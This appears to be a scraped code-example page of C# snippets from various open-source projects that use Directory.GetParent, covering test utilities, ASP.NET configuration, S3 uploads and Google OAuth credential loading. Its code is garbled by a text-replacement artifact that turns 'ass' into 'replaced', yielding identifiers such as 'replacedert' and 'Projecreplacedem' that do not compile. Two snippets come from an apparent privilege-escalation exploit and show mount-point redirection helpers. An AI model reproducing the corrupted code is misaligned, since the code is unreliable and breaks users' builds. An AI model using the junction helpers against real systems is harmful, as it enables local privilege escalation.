if (_clreplacedPathCache.ContainsKey(botUniqName))
{
return new List<string> {_clreplacedPathCache[botUniqName]};
}
string clreplacedName = bot.GetType().Name;
string fileName = clreplacedName + ".cs";
string projectPath = Directory.GetParent(Environment.CurrentDirectory).Parent.FullName;
return IndicatorsFactory.GetFullNamesFromFolder(projectPath)
.Where(f => fileName.Equals(Path.GetFileName(f)))
.ToList();
}
19
Source : TestAccount.cs
with Apache License 2.0
from alipay
with Apache License 2.0
from alipay
public static string GetSolutionBasePath()
{
string current = Directory.GetCurrentDirectory();
do
{
current = Directory.GetParent(current).ToString();
}
while (!current.EndsWith("bin", StringComparison.Ordinal));
return current + "/../..";
}
19
Source : PulseLogPrivesc.cs
with Apache License 2.0
from AlmondOffSec
with Apache License 2.0
from AlmondOffSec
private static bool DeleteMountPoint(string path)
{
try
{
DirectoryInfo to = Directory.GetParent(path);
if(to == null)
return false;
Log("Deleting mount point: " + to.FullName);
NtFile.DeleteReparsePoint("\\??\\" + to.FullName);
Directory.Delete(to.FullName);
} catch {
return false;
}
return true;
}
19
Source : PulseLogPrivesc.cs
with Apache License 2.0
from AlmondOffSec
with Apache License 2.0
from AlmondOffSec
private static bool CreateMountPoint(string path, out string redirectedPath)
{
redirectedPath = null;
try
{
DirectoryInfo to = Directory.GetParent(path);
string filename = Path.GetFileName(path);
if(to == null)
return false;
DirectoryInfo from = Directory.CreateDirectory(Path.GetTempPath() + System.Guid.NewGuid().ToString());
if(from == null)
return false;
Log("Creating mount point: " + from.FullName + " -> " + to.FullName);
NtFile.CreateMountPoint("\\??\\" + from.FullName, "\\??\\" + to.FullName, null);
redirectedPath = Path.Combine(from.FullName, filename);
Log("Target path is now " + redirectedPath);
} catch {
return false;
}
return true;
}
19
Source : Program.cs
with BSD 3-Clause "New" or "Revised" License
from Altinn
with BSD 3-Clause "New" or "Revised" License
from Altinn
public static IWebHostBuilder CreateWebHostBuilder(string[] args) =>
WebHost.CreateDefaultBuilder(args)
.ConfigureAppConfiguration((hostingContext, config) =>
{
_logger.LogInformation("Program // CreateWebHostBuilder");
string basePath = Directory.GetParent(Directory.GetCurrentDirectory()).FullName;
config.SetBasePath(basePath);
config.AddJsonFile(basePath + "altinn-appsettings/altinn-dbsettings-secret.json", optional: true, reloadOnChange: true);
if (basePath == "/")
{
config.AddJsonFile(basePath + "app/appsettings.json", optional: false, reloadOnChange: true);
}
else
{
config.AddJsonFile(Directory.GetCurrentDirectory() + "/appsettings.json", optional: false, reloadOnChange: true);
}
ConnectToKeyVaultAndSetApplicationInsights(config);
config.AddEnvironmentVariables();
config.AddCommandLine(args);
})
.ConfigureLogging(builder =>
{
// The default ASP.NET Core project templates call CreateDefaultBuilder, which adds the following logging providers:
// Console, Debug, EventSource
// https://docs.microsoft.com/en-us/aspnet/core/fundamentals/logging/?view=aspnetcore-3.1
// Clear log providers
builder.ClearProviders();
// Setup up application insight if ApplicationInsightsKey is available
if (!string.IsNullOrEmpty(Startup.ApplicationInsightsKey))
{
// Add application insights https://docs.microsoft.com/en-us/azure/azure-monitor/app/ilogger
// Providing an instrumentation key here is required if you're using
// standalone package Microsoft.Extensions.Logging.ApplicationInsights
// or if you want to capture logs from early in the application startup
// pipeline from Startup.cs or Program.cs itself.
builder.AddApplicationInsights(Startup.ApplicationInsightsKey);
// Optional: Apply filters to control what logs are sent to Application Insights.
// The following configures LogLevel Information or above to be sent to
// Application Insights for all categories.
builder.AddFilter<Microsoft.Extensions.Logging.ApplicationInsights.ApplicationInsightsLoggerProvider>(string.Empty, LogLevel.Warning);
// Adding the filter below to ensure logs of all severity from Program.cs
// is sent to ApplicationInsights.
builder.AddFilter<Microsoft.Extensions.Logging.ApplicationInsights.ApplicationInsightsLoggerProvider>(typeof(Program).FullName, LogLevel.Trace);
// Adding the filter below to ensure logs of all severity from Startup.cs
// is sent to ApplicationInsights.
builder.AddFilter<Microsoft.Extensions.Logging.ApplicationInsights.ApplicationInsightsLoggerProvider>(typeof(Startup).FullName, LogLevel.Trace);
}
else
{
// If not application insight is available log to console
builder.AddFilter("Microsoft", LogLevel.Warning);
builder.AddFilter("System", LogLevel.Warning);
builder.AddConsole();
}
})
.UseStartup<Startup>();
19
Source : SigningCredentialsResolver.cs
with BSD 3-Clause "New" or "Revised" License
from Altinn
with BSD 3-Clause "New" or "Revised" License
from Altinn
public SigningCredentials GetSigningCredentials()
{
string basePath = Directory.GetParent(Directory.GetCurrentDirectory()).FullName;
string certPath = basePath + $"{_accessTokenSettings.AccessTokenSigningKeysFolder}{_accessTokenSettings.AccessTokenSigningCertificateFileName}";
X509Certificate2 cert = new X509Certificate2(certPath);
return new X509SigningCredentials(cert, SecurityAlgorithms.RsaSha256);
}
19
Source : Program.cs
with BSD 3-Clause "New" or "Revised" License
from Altinn
with BSD 3-Clause "New" or "Revised" License
from Altinn
public static IHostBuilder CreateHostBuilder(string[] args) =>
Host.CreateDefaultBuilder(args)
.ConfigureWebHostDefaults(webBuilder =>
{
webBuilder.ConfigureAppConfiguration((hostingContext, config) =>
{
_logger.LogInformation($"Program // ConfigureAppConfiguration");
string basePath = Directory.GetParent(Directory.GetCurrentDirectory()).FullName;
string basePathCurrentDirectory = Directory.GetCurrentDirectory();
_logger.LogInformation($"Current directory is: {basePathCurrentDirectory}");
LoadConfigurationSettings(config, basePath, args);
})
.UseStartup<Startup>();
})
.ConfigureLogging(builder =>
{
// The default ASP.NET Core project templates call CreateDefaultBuilder, which adds the following logging providers:
// Console, Debug, EventSource
// https://docs.microsoft.com/en-us/aspnet/core/fundamentals/logging/?view=aspnetcore-3.1
// Clear log providers
builder.ClearProviders();
// Setup up application insight if ApplicationInsightsKey is available
if (!string.IsNullOrEmpty(Startup.ApplicationInsightsKey))
{
// Add application insights https://docs.microsoft.com/en-us/azure/azure-monitor/app/ilogger
// Providing an instrumentation key here is required if you're using
// standalone package Microsoft.Extensions.Logging.ApplicationInsights
// or if you want to capture logs from early in the application startup
// pipeline from Startup.cs or Program.cs itself.
builder.AddApplicationInsights(Startup.ApplicationInsightsKey);
// Optional: Apply filters to control what logs are sent to Application Insights.
// The following configures LogLevel Information or above to be sent to
// Application Insights for all categories.
builder.AddFilter<Microsoft.Extensions.Logging.ApplicationInsights.ApplicationInsightsLoggerProvider>(string.Empty, LogLevel.Warning);
// Adding the filter below to ensure logs of all severity from Program.cs
// is sent to ApplicationInsights.
builder.AddFilter<Microsoft.Extensions.Logging.ApplicationInsights.ApplicationInsightsLoggerProvider>(typeof(Program).FullName, LogLevel.Trace);
// Adding the filter below to ensure logs of all severity from Startup.cs
// is sent to ApplicationInsights.
builder.AddFilter<Microsoft.Extensions.Logging.ApplicationInsights.ApplicationInsightsLoggerProvider>(typeof(Startup).FullName, LogLevel.Trace);
}
else
{
// If not application insight is available log to console
builder.AddFilter("Microsoft", LogLevel.Warning);
builder.AddFilter("System", LogLevel.Warning);
builder.AddConsole();
}
});
19
Source : Program.cs
with BSD 3-Clause "New" or "Revised" License
from Altinn
with BSD 3-Clause "New" or "Revised" License
from Altinn
public static IWebHostBuilder CreateWebHostBuilder(string[] args) =>
WebHost.CreateDefaultBuilder(args)
.ConfigureAppConfiguration((hostingContext, config) =>
{
string basePath = Directory.GetParent(Directory.GetCurrentDirectory()).FullName;
string basePathCurrentDirectory = Directory.GetCurrentDirectory();
_logger.LogInformation($"Current directory is: {basePathCurrentDirectory}");
LoadConfigurationSettings(config, basePath, args);
})
.ConfigureLogging(builder =>
{
// The default ASP.NET Core project templates call CreateDefaultBuilder, which adds the following logging providers:
// Console, Debug, EventSource
// https://docs.microsoft.com/en-us/aspnet/core/fundamentals/logging/?view=aspnetcore-3.1
// Clear log providers
builder.ClearProviders();
// Setup up application insight if ApplicationInsightsKey is available
if (!string.IsNullOrEmpty(Startup.ApplicationInsightsKey))
{
// Add application insights https://docs.microsoft.com/en-us/azure/azure-monitor/app/ilogger
// Providing an instrumentation key here is required if you're using
// standalone package Microsoft.Extensions.Logging.ApplicationInsights
// or if you want to capture logs from early in the application startup
// pipeline from Startup.cs or Program.cs itself.
builder.AddApplicationInsights(Startup.ApplicationInsightsKey);
// Optional: Apply filters to control what logs are sent to Application Insights.
// The following configures LogLevel Information or above to be sent to
// Application Insights for all categories.
builder.AddFilter<Microsoft.Extensions.Logging.ApplicationInsights.ApplicationInsightsLoggerProvider>(string.Empty, LogLevel.Warning);
// Adding the filter below to ensure logs of all severity from Program.cs
// is sent to ApplicationInsights.
builder.AddFilter<Microsoft.Extensions.Logging.ApplicationInsights.ApplicationInsightsLoggerProvider>(typeof(Program).FullName, LogLevel.Trace);
// Adding the filter below to ensure logs of all severity from Startup.cs
// is sent to ApplicationInsights.
builder.AddFilter<Microsoft.Extensions.Logging.ApplicationInsights.ApplicationInsightsLoggerProvider>(typeof(Startup).FullName, LogLevel.Trace);
}
else
{
// If not application insight is available log to console
builder.AddFilter("Microsoft", LogLevel.Warning);
builder.AddFilter("System", LogLevel.Warning);
builder.AddConsole();
}
})
.UseStartup<Startup>();
19
Source : Program.cs
with BSD 3-Clause "New" or "Revised" License
from Altinn
with BSD 3-Clause "New" or "Revised" License
from Altinn
public static void LoadAppSettingsFiles(IConfigurationBuilder config)
{
_logger.LogInformation("Program // LoadAppSettingsFiles");
string currentDirectory = Directory.GetCurrentDirectory();
_logger.LogInformation($"Current directory: {currentDirectory}");
string basePath = Directory.GetParent(Directory.GetCurrentDirectory()).FullName;
config.SetBasePath(basePath);
config.AddJsonFile(basePath + @"altinn-appsettings/altinn-dbsettings-secret.json", true, true);
if (basePath == "/")
{
// On a pod/container where the app is located in an app folder on the root of the filesystem.
string filePath = basePath + @"app/appsettings.json";
_logger.LogInformation($"Loading configuration file: {filePath}");
config.AddJsonFile(filePath, false, true);
}
else
{
// Running on development machine.
string filePath = Directory.GetCurrentDirectory() + @"/appsettings.json";
_logger.LogInformation($"Loading configuration file: {filePath}");
config.AddJsonFile(filePath, false, true);
}
}
19
Source : Program.cs
with BSD 3-Clause "New" or "Revised" License
from Altinn
with BSD 3-Clause "New" or "Revised" License
from Altinn
public static IWebHostBuilder CreateWebHostBuilder(string[] args) =>
WebHost.CreateDefaultBuilder(args)
.ConfigureAppConfiguration((hostingContext, config) =>
{
_logger.LogInformation("Program // CreateWebHostBuilder");
string basePath = Directory.GetParent(Directory.GetCurrentDirectory()).FullName;
config.SetBasePath(basePath);
config.AddJsonFile(basePath + "altinn-appsettings/altinn-dbsettings-secret.json", optional: true, reloadOnChange: true);
if (basePath == "/")
{
config.AddJsonFile(basePath + "app/appsettings.json", optional: false, reloadOnChange: true);
}
else
{
config.AddJsonFile(Directory.GetCurrentDirectory() + "/appsettings.json", optional: false, reloadOnChange: true);
}
config.AddEnvironmentVariables();
ConnectToKeyVaultAndSetApplicationInsights(config);
config.AddCommandLine(args);
})
.ConfigureLogging(builder =>
{
// The default ASP.NET Core project templates call CreateDefaultBuilder, which adds the following logging providers:
// Console, Debug, EventSource
// https://docs.microsoft.com/en-us/aspnet/core/fundamentals/logging/?view=aspnetcore-3.1
// Clear log providers
builder.ClearProviders();
// Setup up application insight if ApplicationInsightsKey is available
if (!string.IsNullOrEmpty(Startup.ApplicationInsightsKey))
{
// Add application insights https://docs.microsoft.com/en-us/azure/azure-monitor/app/ilogger
// Providing an instrumentation key here is required if you're using
// standalone package Microsoft.Extensions.Logging.ApplicationInsights
// or if you want to capture logs from early in the application startup
// pipeline from Startup.cs or Program.cs itself.
builder.AddApplicationInsights(Startup.ApplicationInsightsKey);
// Optional: Apply filters to control what logs are sent to Application Insights.
// The following configures LogLevel Information or above to be sent to
// Application Insights for all categories.
builder.AddFilter<Microsoft.Extensions.Logging.ApplicationInsights.ApplicationInsightsLoggerProvider>(string.Empty, LogLevel.Warning);
// Adding the filter below to ensure logs of all severity from Program.cs
// is sent to ApplicationInsights.
builder.AddFilter<Microsoft.Extensions.Logging.ApplicationInsights.ApplicationInsightsLoggerProvider>(typeof(Program).FullName, LogLevel.Trace);
// Adding the filter below to ensure logs of all severity from Startup.cs
// is sent to ApplicationInsights.
builder.AddFilter<Microsoft.Extensions.Logging.ApplicationInsights.ApplicationInsightsLoggerProvider>(typeof(Startup).FullName, LogLevel.Trace);
}
else
{
// If not application insight is available log to console
builder.AddFilter("Microsoft", LogLevel.Warning);
builder.AddFilter("System", LogLevel.Warning);
builder.AddConsole();
}
})
.UseUrls("http://*:5020")
.UseStartup<Startup>();
19
Source : Program.cs
with BSD 3-Clause "New" or "Revised" License
from Altinn
with BSD 3-Clause "New" or "Revised" License
from Altinn
public static IWebHostBuilder CreateWebHostBuilder(string[] args) =>
WebHost.CreateDefaultBuilder(args)
.ConfigureAppConfiguration((hostingContext, config) =>
{
_logger.LogInformation("Program // (ConfigureAppConfiguration");
string basePath = Directory.GetParent(Directory.GetCurrentDirectory()).FullName;
string basePathCurrentDirectory = Directory.GetCurrentDirectory();
_logger.LogInformation($"Current directory is: {basePathCurrentDirectory}");
LoadConfigurationSettings(config, basePath, args);
})
.ConfigureLogging(builder =>
{
// The default ASP.NET Core project templates call CreateDefaultBuilder, which adds the following logging providers:
// Console, Debug, EventSource
// https://docs.microsoft.com/en-us/aspnet/core/fundamentals/logging/?view=aspnetcore-3.1
// Clear log providers
builder.ClearProviders();
// Setup up application insight if ApplicationInsightsKey is available
if (!string.IsNullOrEmpty(Startup.ApplicationInsightsKey))
{
// Add application insights https://docs.microsoft.com/en-us/azure/azure-monitor/app/ilogger
// Providing an instrumentation key here is required if you're using
// standalone package Microsoft.Extensions.Logging.ApplicationInsights
// or if you want to capture logs from early in the application startup
// pipeline from Startup.cs or Program.cs itself.
builder.AddApplicationInsights(Startup.ApplicationInsightsKey);
// Optional: Apply filters to control what logs are sent to Application Insights.
// The following configures LogLevel Information or above to be sent to
// Application Insights for all categories.
builder.AddFilter<ApplicationInsightsLoggerProvider>(string.Empty, LogLevel.Warning);
// Adding the filter below to ensure logs of all severity from Program.cs
// is sent to ApplicationInsights.
builder.AddFilter<ApplicationInsightsLoggerProvider>(typeof(Program).FullName, LogLevel.Trace);
// Adding the filter below to ensure logs of all severity from Startup.cs
// is sent to ApplicationInsights.
builder.AddFilter<ApplicationInsightsLoggerProvider>(typeof(Startup).FullName, LogLevel.Trace);
}
else
{
// If not application insight is available log to console
builder.AddFilter("Microsoft", LogLevel.Warning);
builder.AddFilter("System", LogLevel.Warning);
builder.AddConsole();
}
})
.UseStartup<Startup>();
19
Source : AmazonAnnotationPackageProvider.cs
with MIT License
from AlturosDestinations
with MIT License
from AlturosDestinations
private async Task UploadFileAsync(string filePath, CancellationToken token)
{
using (var fileTransferUtility = new TransferUtility(this._s3Client))
{
var keyName = $"{Directory.GetParent(filePath).Name.ReplaceSpecialCharacters()}/{Path.GetFileName(filePath).ReplaceSpecialCharacters()}";
var uploadRequest = new TransferUtilityUploadRequest
{
Key = keyName,
FilePath = filePath,
BucketName = this._config.BucketName
};
var uploadProgressEventHandler = new EventHandler<UploadProgressArgs>((sender, uploadProgressArgs) =>
{
this._uploadProgress.CurrentFile = uploadProgressArgs.FilePath;
this._uploadProgress.CurrentFilePercentDone = uploadProgressArgs.PercentDone;
});
uploadRequest.UploadProgressEvent += uploadProgressEventHandler;
await fileTransferUtility.UploadAsync(uploadRequest, token)
.ContinueWith(o => uploadRequest.UploadProgressEvent -= uploadProgressEventHandler)
.ConfigureAwait(false);
}
this._uploadProgress.TransferedFiles++;
this._uploadProgress.CurrentFilePercentDone = 0;
}
19
Source : OWMLTests.cs
with MIT License
from amazingalek
with MIT License
from amazingalek
private string GetSolutionPath() =>
Directory.GetParent(Directory.GetCurrentDirectory()).Parent.Parent.Parent.Parent.FullName;
19
Source : FirebaseAuthenticator.cs
with MIT License
from ambleside138
with MIT License
from ambleside138
private UserCredential GetGoogleOAuthUserCredentialAsync()
{
// WebBrowser経由でgoogleログイン
var currentPath = Directory.GetParent(Process.GetCurrentProcess().MainModule.FileName);
var credentialFullPath = Path.Combine(currentPath.FullName, _CredentialFileName);
using FileStream stream = new(credentialFullPath, FileMode.Open, FileAccess.Read);
// The file token.json stores the user's access and refresh tokens, and is created
// automatically when the authorization flow completes for the f0irst time.
return GoogleWebAuthorizationBroker.AuthorizeAsync(
GoogleClientSecrets.Load(stream).Secrets,
new[] { "email", "profile" },
"user",
CancellationToken.None,
null,
null).Result;
}
19
Source : CredentialProvider.cs
with MIT License
from ambleside138
with MIT License
from ambleside138
public static async Task<UserCredential> GetUserCredentialAsync()
{
var currentPath = Directory.GetParent(Process.GetCurrentProcess().MainModule.FileName);
var credentialFullPath = Path.Combine(currentPath.FullName, _CredentialFileName);
_Logger.Info($"認証ファイル取得 path=[{credentialFullPath}]");
if (File.Exists(credentialFullPath) == false)
{
_Logger.Warn("認証ファイルが見つかりませんでした。");
return null;
}
using (var stream = new FileStream(credentialFullPath, FileMode.Open, FileAccess.Read))
{
// The file token.json stores the user's access and refresh tokens, and is created
// automatically when the authorization flow completes for the first time.
var tokenPath = Path.Combine(currentPath.FullName, _TokenDirectory);
Console.WriteLine("Credential file saved to: " + tokenPath);
return await GoogleWebAuthorizationBroker.AuthorizeAsync(
GoogleClientSecrets.Load(stream).Secrets,
_Scopes,
"user",
CancellationToken.None,
new FileDataStore(tokenPath, true));
}
}
19
Source : Utils.cs
with Apache License 2.0
from AmpScm
with Apache License 2.0
from AmpScm
public void CreateProjectFromTemplate(string projectName, string templateName, string language, bool exclusive)
{
DTE dte = (DTE)VsIdeTestHostContext.ServiceProvider.GetService(typeof(DTE));
Solution2 sol = dte.Solution as Solution2;
string projectTemplate = sol.GetProjectTemplate(templateName, language);
// - project name and directory
string solutionDirectory = Directory.GetParent(dte.Solution.FullName).FullName;
string projectDirectory = GetNewDirectoryName(solutionDirectory, projectName);
dte.Solution.AddFromTemplate(projectTemplate, projectDirectory, projectName, false);
}
19
Source : CPPProjectTests.cs
with Apache License 2.0
from AmpScm
with Apache License 2.0
from AmpScm
[HostType("VS IDE")]
[TestMethod]
public void CPPWinformsApplication()
{
UIThreadInvoker.Invoke((ThreadInvoker)delegate()
{
//Solution and project creation parameters
string solutionName = "CPPWinApp";
string projectName = "CPPWinApp";
//Template parameters
string projectType = "{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}";
string projectTemplateName = Path.Combine("vcNet", "mc++appwiz.vsz");
string itemTemplateName = "newc++file.cpp";
string newFileName = "Test.cpp";
DTE dte = (DTE)VsIdeTestHostContext.ServiceProvider.GetService(typeof(DTE));
TestUtils testUtils = new TestUtils();
testUtils.CreateEmptySolution(TestContext.TestDir, solutionName);
replacedert.AreEqual<int>(0, testUtils.ProjectCount());
//Add new CPP Windows application project to existing solution
string solutionDirectory = Directory.GetParent(dte.Solution.FullName).FullName;
string projectDirectory = TestUtils.GetNewDirectoryName(solutionDirectory, projectName);
string projectTemplatePath = Path.Combine(dte.Solution.get_TemplatePath(projectType), projectTemplateName);
replacedert.IsTrue(File.Exists(projectTemplatePath), string.Format("Could not find template file: {0}", projectTemplatePath));
dte.Solution.AddFromTemplate(projectTemplatePath, projectDirectory, projectName, false);
//Verify that the new project has been added to the solution
replacedert.AreEqual<int>(1, testUtils.ProjectCount());
//Get the project
Project project = dte.Solution.Item(1);
replacedert.IsNotNull(project);
replacedert.IsTrue(string.Compare(project.Name, projectName, StringComparison.InvariantCultureIgnoreCase) == 0);
//Verify Adding new code file to project
string newItemTemplatePath = Path.Combine(dte.Solution.ProjecreplacedemsTemplatePath(projectType), itemTemplateName);
replacedert.IsTrue(File.Exists(newItemTemplatePath));
Projecreplacedem item = project.Projecreplacedems.AddFromTemplate(newItemTemplatePath, newFileName);
replacedert.IsNotNull(item);
});
}
See More Examples